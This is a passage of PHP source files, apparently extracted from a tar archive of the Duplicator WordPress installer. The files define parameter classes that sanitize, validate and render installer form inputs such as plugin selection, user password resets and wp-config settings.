$this->attr['defaultFromInput']['inWpConfig'] = false; if ($type === self::TYPE_BOOL) { $this->attr['defaultFromInput']['value'] = false; } } /** * this function is calle before sanitization. * Is use in extendend classs and transform value before the sanitization and validation process * * @param array $superObject query string super object * * @return mixed */ protected function getValueFilter($superObject) { $result = array( 'value' => parent::getValueFilter($superObject), 'inWpConfig' => filter_var($superObject[$this->name . self::IN_WP_CONF_POSTFIX], FILTER_VALIDATE_BOOLEAN) ); if (!parent::isValueInInput($superObject)) { $result['value'] = $this->attr['defaultFromInput']['value']; } return $result; } /** * Return sanitized value * * @param mixed $value input value * * @return mixed */ public function getSanitizeValue($value) { $result = (array) $value; $result['value'] = parent::getSanitizeValue($result['value']); return $result; } /** * Get value info from value * * @return string */ protected function valueToInfo() { if ($this->value['inWpConfig']) { return 'Set in wp config with value ' . parent::valueToInfo(); } else { return 'Not set in wp config'; } } /** * Return input value * * @return mixed */ protected function getInputValue() { return $this->value['value']; } /** * Return true if value is in input method * * @param array $superObject query string super object * * @return bool */ protected function isValueInInput($superObject) { return parent::isValueInInput($superObject) || isset($superObject[$this->name . self::IN_WP_CONF_POSTFIX]); } /** * Check if input value is valid * * @param mixed $value input value * @param mixed $validateValue variable passed by reference. Updated to validated value in the case, the value is a valid value. * * @return bool true if is a valid value for this object */ public function isValid($value, &$validateValue = null) { if (!is_array($value) || !isset($value['value']) || !isset($value['inWpConfig'])) { Log::info('WP CONFIG INVALID ARRAY VAL:' . Log::v2str($value)); return false; } // IF isn't in wp config the value isn't validate if ($value['inWpConfig'] === false) { $validateValue = $value; return true; } else { $confValidValue = $value['value']; if (parent::isValid($value['value'], $confValidValue) === false) { Log::info('WP CONFIG INVALID VALUE:' . Log::v2str($confValidValue)); return false; } else { $validateValue = $value; $validateValue['value'] = $confValidValue; return true; } } } /** * Render HTML input before content * * @return void */ protected function htmlInputContBefore() { if ($this->getFormStatus() == self::STATUS_INFO_ONLY) { return; } if (!$this->value['inWpConfig']) { $this->formAttr['inputContainerClasses'][] = 'no-display'; if ($this->formAttr['status'] == self::STATUS_ENABLED) { $this->formAttr['status'] = self::STATUS_DISABLED; } } $inputAttrs = array( 'name' => $this->name . self::IN_WP_CONF_POSTFIX, 'value' => 1 ); if ($this->value['inWpConfig']) { $inputAttrs['checked'] = 'checked'; } echo '<span class="wpinconf-check-wrapper" >'; \DUPX_U_Html::checkboxSwitch( $inputAttrs, array( 'title' => 'Add in wp config' ) ); echo '</span>'; } /** * This function return the default attr for each type. * in the constructor an array merge is made between the result of this function and the parameters passed. * In this way the values in $ this -> ['attr'] are always consistent. * * @param string $type param value type * * @return array */ protected static function getDefaultAttrForType($type) { $attrs = parent::getDefaultAttrForType($type); $valFromInput = $attrs['defaultFromInput']; $attrs['defaultFromInput'] = array( 'value' => $valFromInput, 'inWpConfig' => false ); return $attrs; } /** * this function return the default formAttr for each type. * in the constructor an array merge is made between the result of this function and the parameters passed. * In this way the values in $ this -> ['attr'] are always consistent. * * @param string $formType form type * * @return array */ protected static function getDefaultAttrForFormType($formType) { $attrs = parent::getDefaultAttrForFormType($formType); $attrs['wrapperClasses'][] = 'wp-config-item'; $attrs['wrapperContainerTag'] = 'div'; return $attrs; } } Params/Items/ParamFormUsersReset.php 0000644 00000005116 15136236440 0013501 0 ustar 00 <?php /** * param descriptor * * Standard: PSR-2 * * @link http://www.php-fig.org/psr/psr-2 Full Documentation * * @package SC\DUPX\U */ namespace Duplicator\Installer\Core\Params\Items; use Duplicator\Installer\Core\Params\PrmMng; use Duplicator\Installer\Core\Params\Descriptors\ParamDescUsers; /** * this class manages a password type input with the hide / show passwrd button */ class ParamFormUsersReset extends ParamFormPass { const FORM_TYPE_USERS_PWD_RESET = 'usrpwdreset'; protected $currentUserId = -1; /** * Get html form option of current item * * @param bool $echo if true echo html * * @return string */ public function getHtml($echo = true) { if ($this->formType == self::FORM_TYPE_USERS_PWD_RESET) { $result = ''; $users = \DUPX_ArchiveConfig::getInstance()->getUsersLists(); $mainInputId = $this->formAttr['id']; foreach ($users as $userId => $login) { $this->currentUserId = $userId; $this->formAttr['id'] = $mainInputId . '_' . $this->currentUserId; $this->formAttr['label'] = $login; $result .= parent::getHtml($echo); } $this->currentUserId = -1; $this->formAttr['id'] = $mainInputId; return $result; } else { return parent::getHtml($echo); } } /** * Display the html input of current item * * @return void */ protected function htmlItem() { if ($this->formType == self::FORM_TYPE_USERS_PWD_RESET) { $this->pwdToggleHtml(); } else { parent::htmlItem(); } } /** * Return attribute name * * @return string */ protected function getAttrName() { return $this->name . '[' . $this->currentUserId . ']'; } /** * Return input value * * @return mixed */ protected function getInputValue() { return isset($this->value[$this->currentUserId]) ? $this->value[$this->currentUserId] : ''; } /** * Get default form attributes * * @param string $formType form type * * @return array */ protected static function getDefaultAttrForFormType($formType) { $attrs = parent::getDefaultAttrForFormType($formType); if ($formType == self::FORM_TYPE_USERS_PWD_RESET) { $attrs['maxLength'] = null; // if null have no limit $attrs['size'] = null; } return $attrs; } } Params/Items/ParamFormPlugins.php 0000644 00000026315 15136236440 0013022 0 ustar 00 <?php /** * param descriptor * * Standard: PSR-2 * * @link http://www.php-fig.org/psr/psr-2 Full Documentation * * @package SC\DUPX\U */ namespace Duplicator\Installer\Core\Params\Items; use Duplicator\Installer\Core\Params\PrmMng; use Duplicator\Libs\Snap\SnapJson; /** * this class handles the entire block selection block. */ class ParamFormPlugins extends ParamForm { const FORM_TYPE_PLUGINS_SELECT = 'pluginssel'; /** * Render HTML * * @return void */ protected function htmlItem() { if ($this->formType == self::FORM_TYPE_PLUGINS_SELECT) { $this->pluginSelectHtml(); } else { parent::htmlItem(); } } /** * Render plugin selector HTML * * @return void */ protected function pluginSelectHtml() { $pluginsManager = \DUPX_Plugins_Manager::getInstance(); $plugns_list = $pluginsManager->getPlugins(); $attrs = array( 'id' => $this->formAttr['id'], 'name' => $this->getAttrName() . '[]', 'multiple' => '' ); $this->formAttr['classes'][] = 'no-display'; if (!empty($this->formAttr['classes'])) { $attrs['class'] = implode(' ', array_unique($this->formAttr['classes'])); } if ($this->isDisabled()) { $attrs['disabled'] = 'disabled'; } if ($this->isReadonly()) { $attrs['readonly'] = 'readonly'; } $attrs = array_merge($attrs, $this->formAttr['attr']); ?> <select <?php echo \DUPX_U_Html::arrayAttrToHtml($attrs); ?> > <?php foreach ($plugns_list as $pluginSlug => $plugin) { if ($plugin->isIgnore() || $plugin->isForceDisabled()) { continue; } $optAttr = array( 'value' => $pluginSlug ); if (self::isValueInValue($pluginSlug, $this->getInputValue())) { // can't be selected if is disabled $optAttr['selected'] = 'selected'; } ?> <option <?php echo \DUPX_U_Html::arrayAttrToHtml($optAttr); ?> > <?php echo \DUPX_U::esc_html($plugin->name); ?> </option> <?php } ?> </select> <?php echo $this->getSubNote(); $this->pluginsSelector(); } /** * Render plugin selector * * @return void */ protected function pluginsSelector() { $pluginsManager = \DUPX_Plugins_Manager::getInstance(); $plugns_list = $pluginsManager->getPlugins(); $paramsManager = PrmMng::getInstance(); $safe_mode = $paramsManager->getValue(PrmMng::PARAM_SAFE_MODE); ?> <div> <?php if (!$this->isDisabled()) { ?> <?php if ($safe_mode > 0) { echo '<div class="s3-warn">' . '<i class="fas fa-exclamation-triangle"></i> Safe Mode Enabled: <i>Only Duplicator will be enabled during install.</i>' . '</div>'; } ?> <div class="s3-allnonelinks" style="<?php echo ($safe_mode > 0) ? 'display:none' : ''; ?>"> <button type="button" id="select-all-plugins" class="no-layout">[All]</button> <button type="button" id="unselect-all-plugins" class="no-layout">[None]</button> </div><br style="clear:both" /> <?php } ?> </div> <ul id="plugins-filters" > <li class="all" data-filter-target="all" > <a href="#" class="current"> All <span class="count">(<?php echo count($plugns_list); ?>)</span> </a> </li> <?php foreach ($pluginsManager->getStatusCounts() as $status => $count) { if ($count) { ?> <li class="<?php echo \DUPX_U::esc_attr($status); ?>" data-filter-target="orig-<?php echo \DUPX_U::esc_attr($status); ?>" > <a href="#"> <?php echo \DUPX_U::esc_html(\DUPX_Plugin_item::getStatusLabel($status)); ?><span class="count"> (<?php echo $count; ?>)</span> </a> </li> <?php } } ?> </ul> <table id="plugins_list_table_selector" class="list_table_selector<?php echo ($safe_mode > 0) ? ' disabled' : ''; ?>" > <thead> <tr> <th class="check_input" ></th> <th class="name" >Name</th> <th class="info" >Details</th> <th class="orig_status" >Original<br>Status</th> </tr> </thead> <tbody> <?php foreach ($plugns_list as $pluginObj) { if ($pluginObj->isIgnore() || $pluginObj->isForceDisabled()) { continue; } $this->pluginHtmlItem($pluginObj); } ?> </tbody> </table> <?php $this->pluginTableSelectorJs(); } /** * Render plugin item * * @param \DUPX_Plugin_item $pluginObj plugin object * @param int $subsiteId selected subsite id * * @return void */ protected function pluginHtmlItem($pluginObj, $subsiteId = -1) { $itemClasses = array( 'table-item', ); $orgiStats = $pluginObj->getOrgiStatus($subsiteId); $itemClasses[] = 'orig-' . $orgiStats; $itemClasses[] = self::isValueInValue($pluginObj->slug, $this->getInputValue()) ? 'active' : 'inactive'; //$authorURI = $pluginObj->authorURI; if (empty($pluginObj->authorURI)) { $author = \DUPX_U::esc_html($pluginObj->author); } else { $author = '<a href="' . \DUPX_U::esc_attr($pluginObj->authorURI) . '" target="_blank">' . \DUPX_U::esc_html($pluginObj->author) . '</a>'; } ?> <tr class="<?php echo implode(' ', $itemClasses); ?>" data-plugin-slug="<?php echo \DUPX_U::esc_attr($pluginObj->slug); ?>"> <td class="check_input" > <input type="checkbox" <?php echo $this->isReadonly() ? 'readonly' : ''; ?> <?php echo $this->isDisabled() ? 'disabled' : ''; ?>> </td> <td class="name" ><?php echo \DUPX_U::esc_html($pluginObj->name); ?></td> <td class="info" > Version: <?php echo \DUPX_U::esc_html($pluginObj->version); ?><br> URL: <a href="<?php echo \DUPX_U::esc_attr($pluginObj->pluginURI); ?>" target="_blank" class="plugin-link" > <?php echo \DUPX_U::esc_html($pluginObj->pluginURI); ?> </a><br/> Author: <?php echo $author; ?><br> </td> <td class="orig_status" ><?php echo \DUPX_U::esc_html($pluginObj->getStatusLabel($orgiStats)); ?></td> </tr> <?php } /** * Render javascript * * @return void */ protected function pluginTableSelectorJs() { ?> <script> (function ($) { var pluginsWrapper = $('#' + <?php echo SnapJson::jsonEncode($this->formAttr['wrapperId']); ?>); var pluginsSelect = $('#' + <?php echo SnapJson::jsonEncode($this->formAttr['id']); ?>); var tableSelect = $('#plugins_list_table_selector'); var pluginsSelectIsDisabled = pluginsWrapper.hasClass('param-wrapper-disabled'); function setItemTable(item, enable) { if (enable) { item.removeClass('inactive').addClass('active'); item.find('.check_input input').prop('checked', true); pluginsSelect.find('option[value="' + item.data('plugin-slug') + '"]').prop('selected', true); } else { item.removeClass('active').addClass('inactive'); item.find('.check_input input').prop('checked', false); pluginsSelect.find('option[value="' + item.data('plugin-slug') + '"]').prop('selected', false); } } // prevent select on unselect on external link click tableSelect.find('.table-item a').click(function (event) { event.stopPropagation(); return true; }); tableSelect.find('.table-item').each(function () { var current = $(this); // init select element if (current.hasClass('active')) { setItemTable(current, true); } else { setItemTable(current, false); } // change on click current.click(function () { if (pluginsSelectIsDisabled) { return; } if (current.hasClass('active')) { setItemTable(current, false); } else { setItemTable(current, true); } }); }); $('#select-all-plugins').click(function () { tableSelect.find('.table-item').each(function () { setItemTable($(this), true); }); }); $('#unselect-all-plugins').click(function () { tableSelect.find('.table-item').each(function () { setItemTable($(this), false); }); }); $('#plugins-filters a').click(function () { var obj = $(this); if (obj.hasClass('current')) { return false; } $('#plugins-filters a').removeClass('current'); obj.addClass('current'); var filterTarget = obj.parent().data('filter-target'); if (filterTarget === 'all') { tableSelect.find('.table-item').removeClass('no-display'); } else { tableSelect.find('.table-item').removeClass('no-display').not('.' + filterTarget).addClass('no-display'); } return false; }); })(jQuery); </script> <?php } /** * Return default form attribute * * @param string $formType form type * * @return array */ protected static function getDefaultAttrForFormType($formType) { $attrs = parent::getDefaultAttrForFormType($formType); if ($formType == self::FORM_TYPE_PLUGINS_SELECT) { $attrs['wrapperContainerTag'] = 'div'; $attrs['inputContainerTag'] = 'div'; } return $attrs; } } Params/Items/ParamItem.php 0000644 00000052326 15136236440 0011454 0 ustar 00 <?php /** * param descriptor * * Standard: PSR-2 * * @link http://www.php-fig.org/psr/psr-2 Full Documentation * * @package SC\DUPX\U */ namespace Duplicator\Installer\Core\Params\Items; use Duplicator\Installer\Utils\Log\Log; /** * this class describes the value of a parameter. * therefore the type of data is sanitization and validation. * In addition to other features such as, for example, if it is a persistent parameter. */ class ParamItem { const INPUT_GET = 'g'; const INPUT_POST = 'p'; const INPUT_REQUEST = 'r'; const INPUT_COOKIE = 'c'; const INPUT_SERVER = 's'; const INPUT_ENV = 'e'; const TYPE_STRING = 'str'; const TYPE_ARRAY_STRING = 'arr_str'; const TYPE_ARRAY_MIXED = 'arr_mix'; const TYPE_INT = 'int'; const TYPE_ARRAY_INT = 'arr_int'; const TYPE_BOOL = 'bool'; const STATUS_INIT = 'init'; const STATUS_OVERWRITE = 'owr'; const STATUS_UPD_FROM_INPUT = 'updinp'; /** * validate regexes for test input */ const VALIDATE_REGEX_INT_NUMBER = '/^[\+\-]?[0-9]+$/'; const VALIDATE_REGEX_INT_NUMBER_EMPTY = '/^[\+\-]?[0-9]*$/'; // can be empty const VALIDATE_REGEX_AZ_NUMBER = '/^[A-Za-z0-9]+$/'; const VALIDATE_REGEX_AZ_NUMBER_EMPTY = '/^[A-Za-z0-9]*$/'; // can be empty const VALIDATE_REGEX_AZ_NUMBER_SEP = '/^[A-Za-z0-9_\-]+$/'; // laddate Az 09 plus - and _ const VALIDATE_REGEX_AZ_NUMBER_SEP_EMPTY = '/^[A-Za-z0-9_\-]*$/'; // laddate Az 09 plus - and _, can be empty const VALIDATE_REGEX_DIR_PATH = '/^([a-zA-Z]:[\\\\\/]|\/|\\\\\\\\|\/\/)[^<>\0]+$/'; const VALIDATE_REGEX_FILE_PATH = '/^([a-zA-Z]:[\\\\\/]|\/|\\\\\\\\|\/\/)[^<>\0]+$/'; protected $name = null; protected $type = null; protected $attr = array(); protected $value = null; protected $status = self::STATUS_INIT; /** * Class constructor * * @param string $name param identifier * @param string $type TYPE_STRING | TYPE_ARRAY_STRING | ... * @param array $attr list of attributes */ public function __construct($name, $type, $attr = null) { if (empty($name) || strlen($name) < 4) { throw new \Exception('the name can\'t be empty or len can\'t be minor of 4'); } $this->type = $type; $this->attr = array_merge(static::getDefaultAttrForType($type), (array) $attr); if ($type == self::TYPE_ARRAY_STRING || $type == self::TYPE_ARRAY_INT || $type == self::TYPE_ARRAY_MIXED) { $this->attr['default'] = (array) $this->attr['default']; } $this->name = $name; $this->value = $this->getSanitizeValue($this->attr['default']); if (is_null($this->attr['defaultFromInput'])) { $this->attr['defaultFromInput'] = $this->attr['default']; } else { if ($type == self::TYPE_ARRAY_STRING || $type == self::TYPE_ARRAY_INT || $type == self::TYPE_ARRAY_MIXED) { $this->attr['defaultFromInput'] = (array) $this->attr['defaultFromInput']; } } } /** * this funtion return the discursive label * * @return string */ public function getLabel() { return $this->name; } /** * get current item identifier * * @return string */ public function getName() { return $this->name; } /** * get current item value * * @return mixed */ public function getValue() { return $this->value; } /** * * @return string // STATUS_INIT | STATUS_OVERWRITE | STATUS_UPD_FROM_INPUT */ public function getStatus() { return $this->status; } /** * Set item status with overwrite value * * @return void */ public function setOveriteStatus() { $this->status = self::STATUS_OVERWRITE; } /** * if it is true, this object is defined as persistent and will be saved in the parameter persistence file otherwise the param manager * will not save this value and at each call of the script the parameter will assume the default value. * * @return bool */ public function isPersistent() { return $this->attr['persistence']; } /** * return the invalid param message or empty string * * @return string */ public function getInvalidMessage() { if (is_callable($this->attr['invalidMessage'])) { return call_user_func($this->attr['invalidMessage'], $this); } else { return (string) $this->attr['invalidMessage']; } } /** * Set the invalid param message * * @param $message invalid message * * @return string */ public function setInvalidMessage($message) { $this->attr['invalidMessage'] = (string) $message; } /** * Update item attribute * * @param string $key attribute key * @param mixed $value value * * @return void */ public function setAttr($key, $value) { $this->attr[$key] = $value; } /** * Set param value * * @param mixed $value value to set * * @return boolean false if value isn't validated */ public function setValue($value) { $validateValue = null; if (!$this->isValid($value, $validateValue)) { return false; } $this->value = $validateValue; return true; } /** * Get super object from method * * @param string $method query string method * * @return array return the reference */ protected static function getSuperObjectByMethod($method) { $superObject = array(); switch ($method) { case self::INPUT_GET: $superObject = &$_GET; break; case self::INPUT_POST: $superObject = &$_POST; break; case self::INPUT_REQUEST: $superObject = &$_REQUEST; break; case self::INPUT_COOKIE: $superObject = &$_COOKIE; break; case self::INPUT_SERVER: $superObject = &$_SERVER; break; case self::INPUT_ENV: $superObject = &$_ENV; break; default: throw new \Exception('INVALID SUPER OBJECT METHOD ' . Log::v2str($method)); } return $superObject; } /** * Return true if value is in input method * * @param array $superObject query string super object * * @return bool */ protected function isValueInInput($superObject) { return isset($superObject[$this->name]); } /** * update the value from input if exists ot set the default * sanitation and validation are performed * * @param string $method query string method * * @return boolean false if value isn't validated */ public function setValueFromInput($method = self::INPUT_POST) { $superObject = self::getSuperObjectByMethod($method); Log::info( 'SET VALUE FROM INPUT KEY [' . $this->name . '] VALUE[' . Log::v2str(isset($superObject[$this->name]) ? $superObject[$this->name] : '') . ']', Log::LV_DEBUG ); if (!$this->isValueInInput($superObject)) { $inputValue = $this->attr['defaultFromInput']; } else { // get value from input $inputValue = $this->getValueFilter($superObject); // sanitize value $inputValue = $this->getSanitizeValue($inputValue); } if (($result = $this->setValue($inputValue)) === false) { $msg = 'PARAM [' . $this->name . '] ERROR: Invalid value ' . Log::v2str($inputValue); Log::info($msg); return false; } else { $this->status = self::STATUS_UPD_FROM_INPUT; } return $result; } /** * Check if input value is valid * * @param mixed $value input value * @param mixed $validateValue variable passed by reference. Updated to validated value in the case, the value is a valid value. * * @return bool true if is a valid value for this object */ public function isValid($value, &$validateValue = null) { switch ($this->type) { case self::TYPE_STRING: case self::TYPE_BOOL: case self::TYPE_INT: return $this->isValidScalar($value, $validateValue); case self::TYPE_ARRAY_STRING: case self::TYPE_ARRAY_INT: case self::TYPE_ARRAY_MIXED: return $this->isValidArray($value, $validateValue); default: throw new \Exception('ITEM ERROR invalid type ' . $this->type); } } /** * Validate function for scalar value * * @param mixed $value input value * @param mixed $validateValue variable passed by reference. Updated to validated value in the case, the value is a valid value. * * @return boolean false if value isn't a valid value */ protected function isValidScalar($value, &$validateValue = null) { if (!is_null($value) && !is_scalar($value)) { return false; } $result = true; switch ($this->type) { case self::TYPE_STRING: case self::TYPE_ARRAY_STRING: $validateValue = (string) $value; if (strlen($validateValue) < $this->attr['min_len']) { $this->setInvalidMessage('Must have ' . $this->attr['min_len'] . ' or more characters'); $result = false; } if ($this->attr['max_len'] > 0 && strlen($validateValue) > $this->attr['max_len']) { $this->setInvalidMessage('Must have max ' . $this->attr['mimax_lenn_len'] . ' characters'); $result = false; } if (!empty($this->attr['validateRegex']) && preg_match($this->attr['validateRegex'], $validateValue) !== 1) { $this->setInvalidMessage('String isn\'t valid'); $result = false; } break; case self::TYPE_INT: case self::TYPE_ARRAY_INT: $validateValue = filter_var($value, FILTER_VALIDATE_INT, array( 'options' => array( 'default' => false, // value to return if the filter fails 'min_range' => $this->attr['min_range'], 'max_range' => $this->attr['max_range'], ) )); if ($validateValue === false) { $this->setInvalidMessage('Isn\'t a valid number'); $result = false; } break; case self::TYPE_BOOL: $validateValue = is_bool($value) ? $value : filter_var($value, FILTER_VALIDATE_BOOLEAN, FILTER_NULL_ON_FAILURE); if (($result = !is_null($validateValue)) === false) { $this->setInvalidMessage('Isn\'t a valid value'); } break; default: throw new \Exception('ITEM ERROR ' . $this->name . ' Invalid type ' . $this->type); } if ($result == true) { $acceptValues = $this->getAcceptValues(); if (empty($acceptValues)) { $result = $this->callValidateCallback($validateValue); } else { if (in_array($validateValue, $acceptValues)) { $result = true; } else { $this->setInvalidMessage('Isn\'t a accepted value'); $result = false; } } } if ($result === false) { $validateValue = null; } return $result; } /** * Validate function for array value * * @param mixed $value input value * @param mixed $validateValue variable passed by reference. Updated to validated value in the case, the value is a valid value. * * @return boolean false if value isn't a valid value */ protected function isValidArray($value, &$validateValue = null) { $newValues = (array) $value; $validateValue = array(); $validValue = null; if ($this->type == self::TYPE_ARRAY_MIXED) { $validateValue = $newValues; return $this->callValidateCallback($newValues); } else { foreach ($newValues as $key => $newValue) { if (!$this->isValidScalar($newValue, $validValue)) { return false; } $validateValue[$key] = $validValue; } } return true; } /** * Call attribute validate callback * * @param mixed $value input value * * @return mixed */ protected function callValidateCallback($value) { if (is_callable($this->attr['validateCallback'])) { return call_user_func($this->attr['validateCallback'], $value, $this); } elseif (!is_null($this->attr['validateCallback'])) { throw new \Exception('PARAM ' . $this->name . ' validateCallback isn\'t null and isn\'t callable'); } else { return true; } } /** * this function is calle before sanitization. * Is use in extendend classs and transform value before the sanitization and validation process * * @param array $superObject query string super object * * @return mixed */ protected function getValueFilter($superObject) { if (isset($superObject[$this->name])) { return $superObject[$this->name]; } else { return null; } } /** * Return sanitized value * * @param mixed $value input value * * @return mixed */ public function getSanitizeValue($value) { switch ($this->type) { case self::TYPE_STRING: case self::TYPE_BOOL: case self::TYPE_INT: return $this->getSanitizeValueScalar($value); case self::TYPE_ARRAY_STRING: case self::TYPE_ARRAY_INT: return $this->getSanitizeValueArray($value); case self::TYPE_ARRAY_MIXED: // global sanitize for mixed return $this->getSanitizeValueScalar($value); default: throw new \Exception('ITEM ERROR invalid type ' . $this->type); } } /** * If sanitizeCallback is apply sanitizeCallback at current value else return value. * * @param mixed $value input value * * @return mixed */ protected function getSanitizeValueScalar($value) { if (is_callable($this->attr['sanitizeCallback'])) { return call_user_func($this->attr['sanitizeCallback'], $value); } elseif (!is_null($this->attr['sanitizeCallback'])) { throw new \Exception('PARAM ' . $this->name . ' sanitizeCallback isn\'t null and isn\'t callable'); } else { return $value; } } /** * If sanitizeCallback is apply sanitizeCallback at each value of array. * * @param mixed $value input value * * @return array */ protected function getSanitizeValueArray($value) { $newValues = (array) $value; $sanitizeValues = array(); foreach ($newValues as $key => $newValue) { $sanitizeValues[$key] = $this->getSanitizeValueScalar($newValue); } return $sanitizeValues; } /** * get accept values * * @return array */ public function getAcceptValues() { if (is_callable($this->attr['acceptValues'])) { return call_user_func($this->attr['acceptValues'], $this); } else { return $this->attr['acceptValues']; } } /** * Set value from array. This function is used to set data from json array * * @param array $data param data * * @return boolean */ public function fromArrayData($data) { $data = (array) $data; if (isset($data['status'])) { $this->status = $data['status']; } // only if value is different from current value if (isset($data['value']) && $data['value'] !== $this->value) { $sanitizedVal = $this->getSanitizeValue($data['value']); return $this->setValue($sanitizedVal); } else { return true; } } /** * return array dato to store in json array data * * @return array */ public function toArrayData() { return array( 'value' => $this->value, 'status' => $this->status ); } /** * Return a copy of this object with a new name ad overwrite attr * * @param string $newName new name * @param array $attr overwrite attributes * * @return self */ public function getCopyWithNewName($newName, $attr = array()) { $copy = clone $this; $reflect = new \ReflectionObject($copy); $nameProp = $reflect->getProperty('name'); $nameProp->setAccessible(true); $nameProp->setValue($copy, $newName); $attrProp = $reflect->getProperty('attr'); $attrProp->setAccessible(true); $newAttr = array_merge($attrProp->getValue($copy), $attr); $attrProp->setValue($copy, $newAttr); $valueProp = $reflect->getProperty('value'); $valueProp->setAccessible(true); $valueProp->setValue($copy, $newAttr['default']); return $copy; } /** * This function return the default attr for each type. * in the constructor an array merge is made between the result of this function and the parameters passed. * In this way the values in $ this -> ['attr'] are always consistent. * * @param string $type param value type * * @return array */ protected static function getDefaultAttrForType($type) { $attrs = array( 'default' => null, // the default value on init 'defaultFromInput' => null, // if value isn't set in query form when setValueFromInput is called set this valus. // (normally defaultFromInput is equal to default) 'acceptValues' => array(), // if not empty accept only values in list | callback 'sanitizeCallback' => null, // function (ParamItem $obj, $inputValue) 'validateCallback' => null, // function (ParamItem $obj, $validateValue, $originalValue) 'persistence' => true, // if false don't store value in persistence file 'invalidMessage' => '' //this message is added at next step validation error message if not empty ); switch ($type) { case self::TYPE_STRING: // value type is a string $attrs['min_len'] = 0; // min string len. used in validation $attrs['max_len'] = 0; // max string len. used in validation $attrs['default'] = ''; // set default at empty string $attrs['validateRegex'] = null; // if isn;t null this regex is called to pass for validation. //Can be combined with validateCallback. If both are active, the validation must pass both. break; case self::TYPE_ARRAY_STRING: // value type is array of string $attrs['min_len'] = 0; // min string len. used in validation $attrs['max_len'] = 0; // max string len. used in validation $attrs['default'] = array(); // set default at empty array $attrs['validateRegex'] = null; // if isn;t null this regex is called to pass for validation. // Can be combined with validateCallback. If both are active, the validation must pass both. break; case self::TYPE_INT: // value type is a int $attrs['min_range'] = PHP_INT_MAX * -1; $attrs['max_range'] = PHP_INT_MAX; $attrs['default'] = 0; // set default at 0 break; case self::TYPE_ARRAY_INT: // value type is an array of int $attrs['min_range'] = PHP_INT_MAX * -1; $attrs['max_range'] = PHP_INT_MAX; $attrs['default'] = array(); // set default at empty array break; case self::TYPE_BOOL: $attrs['default'] = false; // set default fals $attrs['defaultFromInput'] = false; // if value isn't set in input the default must be false for bool values break; case self::TYPE_ARRAY_MIXED: break; default: // accepts unknown values because this class can be extended } return $attrs; } } Params/Descriptors/ParamDescValidation.php 0000644 00000006337 15136236440 0014670 0 ustar 00 <?php /** * Validation params descriptions * * @category Duplicator * @package Installer * @author Snapcreek <admin@snapcreek.com> * @copyright 2011-2021 Snapcreek LLC * @license https://www.gnu.org/licenses/gpl-3.0.html GPLv3 */ namespace Duplicator\Installer\Core\Params\Descriptors; use Duplicator\Installer\Core\Params\PrmMng; use Duplicator\Installer\Core\Params\Items\ParamItem; use Duplicator\Installer\Core\Params\Items\ParamForm; /** * class where all parameters are initialized. Used by the param manager */ final class ParamDescValidation implements DescriptorInterface { /** * Init params * * @param ParamItem[]|ParamForm[] $params params list * * @return void */ public static function init(&$params) { $params[PrmMng::PARAM_VALIDATION_LEVEL] = new ParamItem( PrmMng::PARAM_VALIDATION_LEVEL, ParamItem::TYPE_INT, array( 'default' => \DUPX_Validation_abstract_item::LV_FAIL, 'acceptValues' => array( \DUPX_Validation_abstract_item::LV_FAIL, \DUPX_Validation_abstract_item::LV_HARD_WARNING, \DUPX_Validation_abstract_item::LV_SOFT_WARNING, \DUPX_Validation_abstract_item::LV_GOOD, \DUPX_Validation_abstract_item::LV_PASS ) ) ); $params[PrmMng::PARAM_VALIDATION_ACTION_ON_START] = new ParamItem( PrmMng::PARAM_VALIDATION_ACTION_ON_START, ParamForm::TYPE_STRING, array( 'default' => \DUPX_Validation_manager::ACTION_ON_START_NORMAL, 'acceptValues' => array( \DUPX_Validation_manager::ACTION_ON_START_NORMAL, \DUPX_Validation_manager::ACTION_ON_START_AUTO ) ) ); $params[PrmMng::PARAM_VALIDATION_SHOW_ALL] = new ParamForm( PrmMng::PARAM_VALIDATION_SHOW_ALL, ParamForm::TYPE_BOOL, ParamForm::FORM_TYPE_SWITCH, array( 'default' => false ), array( 'label' => 'Show all', 'wrapperClasses' => 'align-right' ) ); $params[PrmMng::PARAM_ACCEPT_TERM_COND] = new ParamForm( PrmMng::PARAM_ACCEPT_TERM_COND, ParamForm::TYPE_BOOL, ParamForm::FORM_TYPE_CHECKBOX, array( 'default' => false ), array( 'label' => 'Accept term and conditions', 'renderLabel' => false, 'checkboxLabel' => 'I have read and accept all <a href="#" onclick="DUPX.viewTerms()" >terms & notices</a>*', 'subNote' => '<div class="required-txt">* required to continue</div>', 'attr' => array( 'onclick' => 'DUPX.acceptWarning();' ) ) ); } /** * Update params after overwrite logic * * @param ParamItem[]|ParamForm[] $params params list * * @return void */ public static function updateParamsAfterOverwrite($params) { } } Params/Descriptors/ParamDescController.php 0000644 00000012605 15136236440 0014714 0 ustar 00 <?php /** * Controller params descriptions * * @category Duplicator * @package Installer * @author Snapcreek <admin@snapcreek.com> * @copyright 2011-2021 Snapcreek LLC * @license https://www.gnu.org/licenses/gpl-3.0.html GPLv3 */ namespace Duplicator\Installer\Core\Params\Descriptors; use Duplicator\Installer\Core\Params\PrmMng; use Duplicator\Installer\Core\Params\Items\ParamItem; use Duplicator\Installer\Core\Params\Items\ParamForm; /** * class where all parameters are initialized. Used by the param manager */ final class ParamDescController implements DescriptorInterface { /** * Init params * * @param ParamItem[]|ParamForm[] $params params list * * @return void */ public static function init(&$params) { $params[PrmMng::PARAM_FINAL_REPORT_DATA] = new ParamItem( PrmMng::PARAM_FINAL_REPORT_DATA, ParamItem::TYPE_ARRAY_MIXED, array( 'default' => array( 'extraction' => array( 'table_count' => 0, 'table_rows' => 0, 'query_errs' => 0, ), 'replace' => array( 'scan_tables' => 0, 'scan_rows' => 0, 'scan_cells' => 0, 'updt_tables' => 0, 'updt_rows' => 0, 'updt_cells' => 0, 'errsql' => 0, 'errser' => 0, 'errkey' => 0, 'errsql_sum' => 0, 'errser_sum' => 0, 'errkey_sum' => 0, 'err_all' => 0, 'warn_all' => 0, 'warnlist' => array() ) ) ) ); $params[PrmMng::PARAM_INSTALLER_MODE] = new ParamItem( PrmMng::PARAM_INSTALLER_MODE, ParamItem::TYPE_INT, array( 'default' => \DUPX_InstallerState::MODE_UNKNOWN, 'acceptValues' => array( \DUPX_InstallerState::MODE_UNKNOWN, \DUPX_InstallerState::MODE_STD_INSTALL, \DUPX_InstallerState::MODE_OVR_INSTALL ) ) ); $params[PrmMng::PARAM_OVERWRITE_SITE_DATA] = new ParamItem( PrmMng::PARAM_OVERWRITE_SITE_DATA, ParamItem::TYPE_ARRAY_MIXED, array( 'default' => array('db') ) ); $params[PrmMng::PARAM_DEBUG] = new ParamItem( PrmMng::PARAM_DEBUG, ParamItem::TYPE_BOOL, array( 'persistence' => true, 'default' => false ) 